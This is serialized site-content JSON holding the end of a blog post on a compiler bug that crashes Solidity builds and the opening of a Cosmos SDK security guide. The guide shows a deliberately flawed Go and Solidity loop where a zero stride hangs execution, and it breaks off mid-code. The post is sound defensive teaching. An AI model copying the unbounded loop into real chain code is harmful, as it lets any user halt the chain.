2,"value":9106},{"type":26,"tag":217,"props":76514,"children":76515},{"style":7130},[76516],{"type":32,"value":9922},{"type":26,"tag":217,"props":76518,"children":76519},{"style":7048},[76520],{"type":32,"value":1889},{"type":26,"tag":217,"props":76522,"children":76523},{"style":7033},[76524],{"type":32,"value":76525},"  // \u003C-- Infinite recursion happens here\n",{"type":26,"tag":217,"props":76527,"children":76528},{"class":7028,"line":7553},[76529],{"type":26,"tag":217,"props":76530,"children":76531},{"style":7048},[76532],{"type":32,"value":76369},{"type":26,"tag":217,"props":76534,"children":76535},{"class":7028,"line":7570},[76536],{"type":26,"tag":217,"props":76537,"children":76538},{"style":7048},[76539],{"type":32,"value":7184},{"type":26,"tag":39,"props":76541,"children":76542},{},[76543],{"type":32,"value":76544},"Under normal circumstances, this expression is benign. But:",{"type":26,"tag":2040,"props":76546,"children":76547},{},[76548,76553,76558],{"type":26,"tag":2044,"props":76549,"children":76550},{},[76551],{"type":32,"value":76552},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":26,"tag":2044,"props":76554,"children":76555},{},[76556],{"type":32,"value":76557},"C++20 reverses the arguments",{"type":26,"tag":2044,"props":76559,"children":76560},{},[76561],{"type":32,"value":76562},"The non-member operator recursively calls itself",{"type":26,"tag":39,"props":76564,"children":76565},{},[76566],{"type":32,"value":76567},"💥: segmentation fault.",{"type":26,"tag":11933,"props":76569,"children":76570},{},[],{"type":26,"tag":27,"props":76572,"children":76574},{"id":76573},"part-v-what-environments-are-affected",[76575],{"type":32,"value":76576},"Part V: What Environments are Affected?",{"type":26,"tag":39,"props":76578,"children":76579},{},[76580],{"type":32,"value":76581},"If a system uses any of the following:",{"type":26,"tag":2040,"props":76583,"children":76584},{},[76585,76590,76595],{"type":26,"tag":2044,"props":76586,"children":76587},{},[76588],{"type":32,"value":76589},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":26,"tag":2044,"props":76591,"children":76592},{},[76593],{"type":32,"value":76594},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":26,"tag":2044,"props":76596,"children":76597},{},[76598],{"type":32,"value":76599},"C++20 enabled (default in recent Solidity builds)",{"type":26,"tag":39,"props":76601,"children":76602},{},[76603,76605,76610,76612,76618],{"type":32,"value":76604},"They will encounter this crash ",{"type":26,"tag":9348,"props":76606,"children":76607},{},[76608],{"type":32,"value":76609},"as soon as",{"type":32,"value":76611}," it processes a Solidity source with a length expression like ",{"type":26,"tag":83,"props":76613,"children":76615},{"className":76614},[],[76616],{"type":32,"value":76617},"T[0]",{"type":32,"value":76619}," or anything involving compile-time rational comparisons.",{"type":26,"tag":11933,"props":76621,"children":76622},{},[],{"type":26,"tag":27,"props":76624,"children":76626},{"id":76625},"recommendations",[76627],{"type":32,"value":76628},"Recommendations",{"type":26,"tag":2040,"props":76630,"children":76631},{},[76632,76640],{"type":26,"tag":2044,"props":76633,"children":76634},{},[76635],{"type":26,"tag":9348,"props":76636,"children":76637},{},[76638],{"type":32,"value":76639},"Update Boost to ≥ 1.75",{"type":26,"tag":2044,"props":76641,"children":76642},{},[76643],{"type":26,"tag":9348,"props":76644,"children":76645},{},[76646],{"type":32,"value":76647},"Pin G++ to v14 or later",{"type":26,"tag":11933,"props":76649,"children":76650},{},[],{"type":26,"tag":27,"props":76652,"children":76653},{"id":9272},[76654],{"type":32,"value":9275},{"type":26,"tag":39,"props":76656,"children":76657},{},[76658],{"type":32,"value":76659},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":26,"tag":39,"props":76661,"children":76662},{},[76663,76665,76670],{"type":32,"value":76664},"But it ",{"type":26,"tag":9348,"props":76666,"children":76667},{},[76668],{"type":32,"value":76669},"is",{"type":32,"value":76671}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":26,"tag":39,"props":76673,"children":76674},{},[76675],{"type":32,"value":76676},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":26,"tag":39,"props":76678,"children":76679},{},[76680],{"type":32,"value":76681},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":26,"tag":9282,"props":76683,"children":76684},{},[76685],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":76687},[76688,76689,76694,76697,76698,76699,76700,76701],{"id":74363,"depth":6770,"text":74366},{"id":74452,"depth":6770,"text":74455,"children":76690},[76691,76692,76693],{"id":74458,"depth":6779,"text":74461},{"id":22813,"depth":6779,"text":74528},{"id":74616,"depth":6779,"text":74619},{"id":75202,"depth":6770,"text":75205,"children":76695},[76696],{"id":75208,"depth":6779,"text":75211},{"id":75319,"depth":6770,"text":75322},{"id":76170,"depth":6770,"text":76173},{"id":76573,"depth":6770,"text":76576},{"id":76625,"depth":6770,"text":76628},{"id":9272,"depth":6770,"text":9275},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":76706,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":76707,"description":76708,"date":76709,"author":76710,"image":76711,"isFeatured":17,"onBlogPage":17,"tags":76713,"body":76716,"_type":6799,"_id":90630,"_source":6801,"_file":90631,"_stem":90632,"_extension":6804},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":76712,"width":6817,"height":6817},"/posts/cosmos-security/title.png",[76714,76715],"cosmos-sdk","security",{"type":23,"children":76717,"toc":90608},[76718,76722,76727,76732,76738,76743,76748,76753,77013,77498,77518,77523,77528,77533,77539,77544,77579,77589,78107,78127,78140,78146,78151,78156,78403,78408,78416,78429,78795,78800,78805,78841,78850,79281,79302,79308,79328,79349,79368,79400,79412,79424,80083,80111,80120,80561,80588,80608,80613,80634,80683,80692,81922,81950,81956,81961,81966,81986,82273,82307,82489,82494,82499,82543,82552,83744,83996,84009,84015,84049,84054,84117,84122,84142,84161,84173,84192,84883,84888,84893,84921,84930,85815,85842,85848,85868,85873,85886,86060,86073,86164,86169,86177,86187,86337,86342,86362,86370,86375,86773,86785,86790,86830,86841,86861,87169,87174,88099,88111,88119,88124,89115,89120,89132,89152,89171,90089,90145,90251,90263,90268,90273,90301,90310,90537,90563,90576,90590,90594,90599,90604],{"type":26,"tag":27,"props":76719,"children":76720},{"id":24419},[76721],{"type":32,"value":24422},{"type":26,"tag":39,"props":76723,"children":76724},{},[76725],{"type":32,"value":76726},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":26,"tag":39,"props":76728,"children":76729},{},[76730],{"type":32,"value":76731},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":26,"tag":27,"props":76733,"children":76735},{"id":76734},"its-loopin-time",[76736],{"type":32,"value":76737},"It's Loopin' Time",{"type":26,"tag":39,"props":76739,"children":76740},{},[76741],{"type":32,"value":76742},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":26,"tag":39,"props":76744,"children":76745},{},[76746],{"type":32,"value":76747},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":26,"tag":39,"props":76749,"children":76750},{},[76751],{"type":32,"value":76752},"Here is a simple example for reference:",{"type":26,"tag":207,"props":76754,"children":76756},{"code":76755,"language":59409,"meta":8,"className":59407,"style":8},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[76757],{"type":26,"tag":83,"props":76758,"children":76759},{"__ignoreMap":8},[76760,76776,76793,76809,76830,76858,76879,76903,76924,76931,76953,76970,76987,76994,77006],{"type":26,"tag":217,"props":76761,"children":76762},{"class":7028,"line":7029},[76763,76767,76772],{"type":26,"tag":217,"props":76764,"children":76765},{"style":7154},[76766],{"type":32,"value":7604},{"type":26,"tag":217,"props":76768,"children":76769},{"style":7064},[76770],{"type":32,"value":76771}," sumWithStride",{"type":26,"tag":217,"props":76773,"children":76774},{"style":7048},[76775],{"type":32,"value":10932},{"type":26,"tag":217,"props":76777,"children":76778},{"class":7028,"line":6770},[76779,76784,76789],{"type":26,"tag":217,"props":76780,"children":76781},{"style":7119},[76782],{"type":32,"value":76783},"    uint64",{"type":26,"tag":217,"props":76785,"children":76786},{"style":7054},[76787],{"type":32,"value":76788}," start",{"type":26,"tag":217,"props":76790,"children":76791},{"style":7048},[76792],{"type":32,"value":10953},{"type":26,"tag":217,"props":76794,"children":76795},{"class":7028,"line":6779},[76796,76800,76805],{"type":26,"tag":217,"props":76797,"children":76798},{"style":7119},[76799],{"type":32,"value":76783},{"type":26,"tag":217,"props":76801,"children":76802},{"style":7054},[76803],{"type":32,"value":76804}," stride",{"type":26,"tag":217,"props":76806,"children":76807},{"style":7048},[76808],{"type":32,"value":10953},{"type":26,"tag":217,"props":76810,"children":76811},{"class":7028,"line":7140},[76812,76816,76821,76825],{"type":26,"tag":217,"props":76813,"children":76814},{"style":7119},[76815],{"type":32,"value":76783},{"type":26,"tag":217,"props":76817,"children":76818},{"style":7048},[76819],{"type":32,"value":76820},"[] ",{"type":26,"tag":217,"props":76822,"children":76823},{"style":7154},[76824],{"type":32,"value":63509},{"type":26,"tag":217,"props":76826,"children":76827},{"style":7054},[76828],{"type":32,"value":76829}," arr\n",{"type":26,"tag":217,"props":76831,"children":76832},{"class":7028,"line":7165},[76833,76837,76841,76845,76849,76854],{"type":26,"tag":217,"props":76834,"children":76835},{"style":7048},[76836],{"type":32,"value":8380},{"type":26,"tag":217,"props":76838,"children":76839},{"style":7154},[76840],{"type":32,"value":52893},{"type":26,"tag":217,"props":76842,"children":76843},{"style":7042},[76844],{"type":32,"value":62260},{"type":26,"tag":217,"props":76846,"children":76847},{"style":7048},[76848],{"type":32,"value":7051},{"type":26,"tag":217,"props":76850,"children":76851},{"style":7119},[76852],{"type":32,"value":76853},"uint64",{"type":26,"tag":217,"props":76855,"children":76856},{"style":7048},[76857],{"type":32,"value":7618},{"type":26,"tag":217,"props":76859,"children":76860},{"class":7028,"line":7178},[76861,76865,76870,76874],{"type":26,"tag":217,"props":76862,"children":76863},{"style":7119},[76864],{"type":32,"value":76783},{"type":26,"tag":217,"props":76866,"children":76867},{"style":7048},[76868],{"type":32,"value":76869}," idx ",{"type":26,"tag":217,"props":76871,"children":76872},{"style":7149},[76873],{"type":32,"value":267},{"type":26,"tag":217,"props":76875,"children":76876},{"style":7048},[76877],{"type":32,"value":76878}," start;\n",{"type":26,"tag":217,"props":76880,"children":76881},{"class":7028,"line":7389},[76882,76886,76891,76895,76899],{"type":26,"tag":217,"props":76883,"children":76884},{"style":7119},[76885],{"type":32,"value":76783},{"type":26,"tag":217,"props":76887,"children":76888},{"style":7048},[76889],{"type":32,"value":76890}," sum ",{"type":26,"tag":217,"props":76892,"children":76893},{"style":7149},[76894],{"type":32,"value":267},{"type":26,"tag":217,"props":76896,"children":76897},{"style":7130},[76898],{"type":32,"value":9922},{"type":26,"tag":217,"props":76900,"children":76901},{"style":7048},[76902],{"type":32,"value":7162},{"type":26,"tag":217,"props":76904,"children":76905},{"class":7028,"line":7406},[76906,76910,76915,76919],{"type":26,"tag":217,"props":76907,"children":76908},{"style":7119},[76909],{"type":32,"value":76783},{"type":26,"tag":217,"props":76911,"children":76912},{"style":7048},[76913],{"type":32,"value":76914}," end ",{"type":26,"tag":217,"props":76916,"children":76917},{"style":7149},[76918],{"type":32,"value":267},{"type":26,"tag":217,"props":76920,"children":76921},{"style":7048},[76922],{"type":32,"value":76923}," arr.length;\n",{"type":26,"tag":217,"props":76925,"children":76926},{"class":7028,"line":7439},[76927],{"type":26,"tag":217,"props":76928,"children":76929},{"emptyLinePlaceholder":17},[76930],{"type":32,"value":7817},{"type":26,"tag":217,"props":76932,"children":76933},{"class":7028,"line":7487},[76934,76939,76944,76948],{"type":26,"tag":217,"props":76935,"children":76936},{"style":7042},[76937],{"type":32,"value":76938},"    while",{"type":26,"tag":217,"props":76940,"children":76941},{"style":7048},[76942],{"type":32,"value":76943}," (idx ",{"type":26,"tag":217,"props":76945,"children":76946},{"style":7149},[76947],{"type":32,"value":7289},{"type":26,"tag":217,"props":76949,"children":76950},{"style":7048},[76951],{"type":32,"value":76952}," end) {\n",{"type":26,"tag":217,"props":76954,"children":76955},{"class":7028,"line":7524},[76956,76961,76965],{"type":26,"tag":217,"props":76957,"children":76958},{"style":7048},[76959],{"type":32,"value":76960},"        sum ",{"type":26,"tag":217,"props":76962,"children":76963},{"style":7149},[76964],{"type":32,"value":60107},{"type":26,"tag":217,"props":76966,"children":76967},{"style":7048},[76968],{"type":32,"value":76969}," arr[idx];\n",{"type":26,"tag":217,"props":76971,"children":76972},{"class":7028,"line":7553},[76973,76978,76982],{"type":26,"tag":217,"props":76974,"children":76975},{"style":7048},[76976],{"type":32,"value":76977},"        idx ",{"type":26,"tag":217,"props":76979,"children":76980},{"style":7149},[76981],{"type":32,"value":60107},{"type":26,"tag":217,"props":76983,"children":76984},{"style":7048},[76985],{"type":32,"value":76986}," stride;\n",{"type":26,"tag":217,"props":76988,"children":76989},{"class":7028,"line":7570},[76990],{"type":26,"tag":217,"props":76991,"children":76992},{"style":7048},[76993],{"type":32,"value":9754},{"type":26,"tag":217,"props":76995,"children":76996},{"class":7028,"line":7621},[76997,77001],{"type":26,"tag":217,"props":76998,"children":76999},{"style":7042},[77000],{"type":32,"value":7171},{"type":26,"tag":217,"props":77002,"children":77003},{"style":7048},[77004],{"type":32,"value":77005}," sum;\n",{"type":26,"tag":217,"props":77007,"children":77008},{"class":7028,"line":7672},[77009],{"type":26,"tag":217,"props":77010,"children":77011},{"style":7048},[77012],{"type":32,"value":7184},{"type":26,"tag":207,"props":77014,"children":77018},{"code":77015,"language":77016,"meta":8,"className":77017,"style":8},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[77019],{"type":26,"tag":83,"props":77020,"children":77021},{"__ignoreMap":8},[77022,77043,77056,77068,77086,77093,77100,77120,77132,77139,77146,77180,77205,77226,77255,77285,77330,77406,77442,77449,77491],{"type":26,"tag":217,"props":77023,"children":77024},{"class":7028,"line":7029},[77025,77029,77034,77039],{"type":26,"tag":217,"props":77026,"children":77027},{"style":7154},[77028],{"type":32,"value":16194},{"type":26,"tag":217,"props":77030,"children":77031},{"style":7119},[77032],{"type":32,"value":77033}," MsgSumWithStrideParams",{"type":26,"tag":217,"props":77035,"children":77036},{"style":7154},[77037],{"type":32,"value":77038}," struct",{"type":26,"tag":217,"props":77040,"children":77041},{"style":7048},[77042],{"type":32,"value":8064},{"type":26,"tag":217,"props":77044,"children":77045},{"class":7028,"line":6770},[77046,77051],{"type":26,"tag":217,"props":77047,"children":77048},{"style":7054},[77049],{"type":32,"value":77050},"    Start",{"type":26,"tag":217,"props":77052,"children":77053},{"style":7119},[77054],{"type":32,"value":77055}," uint64\n",{"type":26,"tag":217,"props":77057,"children":77058},{"class":7028,"line":6779},[77059,77064],{"type":26,"tag":217,"props":77060,"children":77061},{"style":7054},[77062],{"type":32,"value":77063},"    Stride",{"type":26,"tag":217,"props":77065,"children":77066},{"style":7119},[77067],{"type":32,"value":77055},{"type":26,"tag":217,"props":77069,"children":77070},{"class":7028,"line":7140},[77071,77076,77081],{"type":26,"tag":217,"props":77072,"children":77073},{"style":7054},[77074],{"type":32,"value":77075},"    Arr",{"type":26,"tag":217,"props":77077,"children":77078},{"style":7048},[77079],{"type":32,"value":77080}," []",{"type":26,"tag":217,"props":77082,"children":77083},{"style":7119},[77084],{"type":32,"value":77085},"uint64\n",{"type":26,"tag":217,"props":77087,"children":77088},{"class":7028,"line":7165},[77089],{"type":26,"tag":217,"props":77090,"children":77091},{"style":7048},[77092],{"type":32,"value":7184},{"type":26,"tag":217,"props":77094,"children":77095},{"class":7028,"line":7178},[77096],{"type":26,"tag":217,"props":77097,"children":77098},{"emptyLinePlaceholder":17},[77099],{"type":32,"value":7817},{"type":26,"tag":217,"props":77101,"children":77102},{"class":7028,"line":7389},[77103,77107,77112,77116],{"type":26,"tag":217,"props":77104,"children":77105},{"style":7154},[77106],{"type":32,"value":16194},{"type":26,"tag":217,"props":77108,"children":77109},{"style":7119},[77110],{"type":32,"value":77111}," MsgSumWithStrideResponse",{"type":26,"tag":217,"props":77113,"children":77114},{"style":7154},[77115],{"type":32,"value":77038},{"type":26,"tag":217,"props":77117,"children":77118},{"style":7048},[77119],{"type":32,"value":8064},{"type":26,"tag":217,"props":77121,"children":77122},{"class":7028,"line":7406},[77123,77128],{"type":26,"tag":217,"props":77124,"children":77125},{"style":7054},[77126],{"type":32,"value":77127},"    Sum",{"type":26,"tag":217,"props":77129,"children":77130},{"style":7119},[77131],{"type":32,"value":77055},{"type":26,"tag":217,"props":77133,"children":77134},{"class":7028,"line":7439},[77135],{"type":26,"tag":217,"props":77136,"children":77137},{"style":7048},[77138],{"type":32,"value":7184},{"type":26,"tag":217,"props":77140,"children":77141},{"class":7028,"line":7487},[77142],{"type":26,"tag":217,"props":77143,"children":77144},{"emptyLinePlaceholder":17},[77145],{"type":32,"value":7817},{"type":26,"tag":217,"props":77147,"children":77148},{"class":7028,"line":7524},[77149,77153,77157,77162,77167,77171,77176],{"type":26,"tag":217,"props":77150,"children":77151},{"style":7154},[77152],{"type":32,"value":26409},{"type":26,"tag":217,"props":77154,"children":77155},{"style":7048},[77156],{"type":32,"value":7051},{"type":26,"tag":217,"props":77158,"children":77159},{"style":7054},[77160],{"type":32,"value":77161},"ms ",{"type":26,"tag":217,"props":77163,"children":77164},{"style":7119},[77165],{"type":32,"value":77166},"msgServer",{"type":26,"tag":217,"props":77168,"children":77169},{"style":7048},[77170],{"type":32,"value":8380},{"type":26,"tag":217,"props":77172,"children":77173},{"style":7064},[77174],{"type":32,"value":77175},"SumWithStride",{"type":26,"tag":217,"props":77177,"children":77178},{"style":7048},[77179],{"type":32,"value":10932},{"type":26,"tag":217,"props":77181,"children":77182},{"class":7028,"line":7553},[77183,77188,77192,77196,77201],{"type":26,"tag":217,"props":77184,"children":77185},{"style":7054},[77186],{"type":32,"value":77187},"    goCtx",{"type":26,"tag":217,"props":77189,"children":77190},{"style":7119},[77191],{"type":32,"value":59568},{"type":26,"tag":217,"props":77193,"children":77194},{"style":7048},[77195],{"type":32,"value":180},{"type":26,"tag":217,"props":77197,"children":77198},{"style":7119},[77199],{"type":32,"value":77200},"Context",{"type":26,"tag":217,"props":77202,"children":77203},{"style":7048},[77204],{"type":32,"value":10953},{"type":26,"tag":217,"props":77206,"children":77207},{"class":7028,"line":7570},[77208,77213,77217,77222],{"type":26,"tag":217,"props":77209,"children":77210},{"style":7054},[77211],{"type":32,"value":77212},"    msg",{"type":26,"tag":217,"props":77214,"children":77215},{"style":7149},[77216],{"type":32,"value":9690},{"type":26,"tag":217,"props":77218,"children":77219},{"style":7119},[77220],{"type":32,"value":77221},"MsgSumWithStrideParams",{"type":26,"tag":217,"props":77223,"children":77224},{"style":7048},[77225],{"type":32,"value":10953},{"type":26,"tag":217,"props":77227,"children":77228},{"class":7028,"line":7621},[77229,77234,77238,77243,77247,77251],{"type":26,"tag":217,"props":77230,"children":77231},{"style":7048},[77232],{"type":32,"value":77233},") (",{"type":26,"tag":217,"props":77235,"children":77236},{"style":7149},[77237],{"type":32,"value":10006},{"type":26,"tag":217,"props":77239,"children":77240},{"style":7119},[77241],{"type":32,"value":77242},"MsgSumWithStrideResponse",{"type":26,"tag":217,"props":77244,"children":77245},{"style":7048},[77246],{"type":32,"value":7599},{"type":26,"tag":217,"props":77248,"children":77249},{"style":7119},[77250],{"type":32,"value":7747},{"type":26,"tag":217,"props":77252,"children":77253},{"style":7048},[77254],{"type":32,"value":7618},{"type":26,"tag":217,"props":77256,"children":77257},{"class":7028,"line":7672},[77258,77263,77268,77273,77277,77281],{"type":26,"tag":217,"props":77259,"children":77260},{"style":7054},[77261],{"type":32,"value":77262},"    sum",{"type":26,"tag":217,"props":77264,"children":77265},{"style":7149},[77266],{"type":32,"value":77267}," :=",{"type":26,"tag":217,"props":77269,"children":77270},{"style":7119},[77271],{"type":32,"value":77272}," uint64",{"type":26,"tag":217,"props":77274,"children":77275},{"style":7048},[77276],{"type":32,"value":1851},{"type":26,"tag":217,"props":77278,"children":77279},{"style":7130},[77280],{"type":32,"value":1883},{"type":26,"tag":217,"props":77282,"children":77283},{"style":7048},[77284],{"type":32,"value":10025},{"type":26,"tag":217,"props":77286,"children":77287},{"class":7028,"line":7681},[77288,77293,77297,77301,77305,77309,77313,77317,77321,77326],{"type":26,"tag":217,"props":77289,"children":77290},{"style":7054},[77291],{"type":32,"value":77292},"    end",{"type":26,"tag":217,"props":77294,"children":77295},{"style":7149},[77296],{"type":32,"value":77267},{"type":26,"tag":217,"props":77298,"children":77299},{"style":7119},[77300],{"type":32,"value":77272},{"type":26,"tag":217,"props":77302,"children":77303},{"style":7048},[77304],{"type":32,"value":1851},{"type":26,"tag":217,"props":77306,"children":77307},{"style":7064},[77308],{"type":32,"value":15325},{"type":26,"tag":217,"props":77310,"children":77311},{"style":7048},[77312],{"type":32,"value":1851},{"type":26,"tag":217,"props":77314,"children":77315},{"style":7054},[77316],{"type":32,"value":7712},{"type":26,"tag":217,"props":77318,"children":77319},{"style":7048},[77320],{"type":32,"value":180},{"type":26,"tag":217,"props":77322,"children":77323},{"style":7054},[77324],{"type":32,"value":77325},"Arr",{"type":26,"tag":217,"props":77327,"children":77328},{"style":7048},[77329],{"type":32,"value":18548},{"type":26,"tag":217,"props":77331,"children":77332},{"class":7028,"line":7754},[77333,77337,77342,77346,77351,77355,77360,77364,77368,77372,77377,77381,77385,77389,77393,77397,77402],{"type":26,"tag":217,"props":77334,"children":77335},{"style":7042},[77336],{"type":32,"value":12461},{"type":26,"tag":217,"props":77338,"children":77339},{"style":7054},[77340],{"type":32,"value":77341}," idx",{"type":26,"tag":217,"props":77343,"children":77344},{"style":7149},[77345],{"type":32,"value":77267},{"type":26,"tag":217,"props":77347,"children":77348},{"style":7054},[77349],{"type":32,"value":77350}," msg",{"type":26,"tag":217,"props":77352,"children":77353},{"style":7048},[77354],{"type":32,"value":180},{"type":26,"tag":217,"props":77356,"children":77357},{"style":7054},[77358],{"type":32,"value":77359},"Start",{"type":26,"tag":217,"props":77361,"children":77362},{"style":7048},[77363],{"type":32,"value":13137},{"type":26,"tag":217,"props":77365,"children":77366},{"style":7054},[77367],{"type":32,"value":10305},{"type":26,"tag":217,"props":77369,"children":77370},{"style":7149},[77371],{"type":32,"value":13147},{"type":26,"tag":217,"props":77373,"children":77374},{"style":7054},[77375],{"type":32,"value":77376}," end",{"type":26,"tag":217,"props":77378,"children":77379},{"style":7048},[77380],{"type":32,"value":13137},{"type":26,"tag":217,"props":77382,"children":77383},{"style":7054},[77384],{"type":32,"value":10305},{"type":26,"tag":217,"props":77386,"children":77387},{"style":7149},[77388],{"type":32,"value":36168},{"type":26,"tag":217,"props":77390,"children":77391},{"style":7054},[77392],{"type":32,"value":77350},{"type":26,"tag":217,"props":77394,"children":77395},{"style":7048},[77396],{"type":32,"value":180},{"type":26,"tag":217,"props":77398,"children":77399},{"style":7054},[77400],{"type":32,"value":77401},"Stride",{"type":26,"tag":217,"props":77403,"children":77404},{"style":7048},[77405],{"type":32,"value":8064},{"type":26,"tag":217,"props":77407,"children":77408},{"class":7028,"line":7784},[77409,77414,77418,77422,77426,77430,77434,77438],{"type":26,"tag":217,"props":77410,"children":77411},{"style":7054},[77412],{"type":32,"value":77413},"        sum",{"type":26,"tag":217,"props":77415,"children":77416},{"style":7149},[77417],{"type":32,"value":36168},{"type":26,"tag":217,"props":77419,"children":77420},{"style":7054},[77421],{"type":32,"value":77350},{"type":26,"tag":217,"props":77423,"children":77424},{"style":7048},[77425],{"type":32,"value":180},{"type":26,"tag":217,"props":77427,"children":77428},{"style":7054},[77429],{"type":32,"value":77325},{"type":26,"tag":217,"props":77431,"children":77432},{"style":7048},[77433],{"type":32,"value":7127},{"type":26,"tag":217,"props":77435,"children":77436},{"style":7054},[77437],{"type":32,"value":10305},{"type":26,"tag":217,"props":77439,"children":77440},{"style":7048},[77441],{"type":32,"value":13256},{"type":26,"tag":217,"props":77443,"children":77444},{"class":7028,"line":7802},[77445],{"type":26,"tag":217,"props":77446,"children":77447},{"style":7048},[77448],{"type":32,"value":9754},{"type":26,"tag":217,"props":77450,"children":77451},{"class":7028,"line":7811},[77452,77456,77460,77464,77468,77473,77477,77481,77486],{"type":26,"tag":217,"props":77453,"children":77454},{"style":7042},[77455],{"type":32,"value":7171},{"type":26,"tag":217,"props":77457,"children":77458},{"style":7149},[77459],{"type":32,"value":10222},{"type":26,"tag":217,"props":77461,"children":77462},{"style":7119},[77463],{"type":32,"value":77242},{"type":26,"tag":217,"props":77465,"children":77466},{"style":7048},[77467],{"type":32,"value":25667},{"type":26,"tag":217,"props":77469,"children":77470},{"style":7054},[77471],{"type":32,"value":77472},"Sum",{"type":26,"tag":217,"props":77474,"children":77475},{"style":7048},[77476],{"type":32,"value":14785},{"type":26,"tag":217,"props":77478,"children":77479},{"style":7054},[77480],{"type":32,"value":49026},{"type":26,"tag":217,"props":77482,"children":77483},{"style":7048},[77484],{"type":32,"value":77485},"}, ",{"type":26,"tag":217,"props":77487,"children":77488},{"style":7154},[77489],{"type":32,"value":77490},"nil\n",{"type":26,"tag":217,"props":77492,"children":77493},{"class":7028,"line":7820},[77494],{"type":26,"tag":217,"props":77495,"children":77496},{"style":7048},[77497],{"type":32,"value":7184},{"type":26,"tag":39,"props":77499,"children":77500},{},[77501,77503,77508,77510,77516],{"type":32,"value":77502},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":26,"tag":83,"props":77504,"children":77506},{"className":77505},[],[77507],{"type":32,"value":10305},{"type":32,"value":77509}," and a ",{"type":26,"tag":83,"props":77511,"children":77513},{"className":77512},[],[77514],{"type":32,"value":77515},"stride",{"type":32,"value":77517},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":26,"tag":39,"props":77519,"children":77520},{},[77521],{"type":32,"value":77522},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":26,"tag":39,"props":77524,"children":77525},{},[77526],{"type":32,"value":77527},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":26,"tag":39,"props":77529,"children":77530},{},[77531],{"type":32,"value":77532},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":26,"tag":607,"props":77534,"children":77536},{"id":77535},"real-world-examples",[77537],{"type":32,"value":77538},"Real-World Examples",{"type":26,"tag":39,"props":77540,"children":77541},{},[77542],{"type":32,"value":77543},"Now, let's examine a few real-world instances.",{"type":26,"tag":39,"props":77545,"children":77546},{},[77547,77549,77555,77556,77562,77564,77570,77572,77578],{"type":32,"value":77548},"In the case of ",{"type":26,"tag":163,"props":77550,"children":77553},{"href":77551,"rel":77552},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[167],[77554],{"type":32,"value":17968},{"type":32,"value":19795},{"type":26,"tag":83,"props":77557,"children":77559},{"className":77558},[],[77560],{"type":32,"value":77561},"CosmWasm",{"type":32,"value":77563}," bug, the helper method ",{"type":26,"tag":83,"props":77565,"children":77567},{"className":77566},[],[77568],{"type":32,"value":77569},"write_to_contract",{"type":32,"value":77571}," negligently calls the untrusted Wasm function ",{"type":26,"tag":83,"props":77573,"children":77575},{"className":77574},[],[77576],{"type":32,"value":77577},"\"allocate\"",{"type":32,"value":180},{"type":26,"tag":39,"props":77580,"children":77581},{},[77582],{"type":26,"tag":163,"props":77583,"children":77586},{"href":77584,"rel":77585},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[167],[77587],{"type":32,"value":77588},"Permalink for snippet",{"type":26,"tag":207,"props":77590,"children":77592},{"code":77591,"language":56139,"meta":8,"className":56140,"style":8},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: 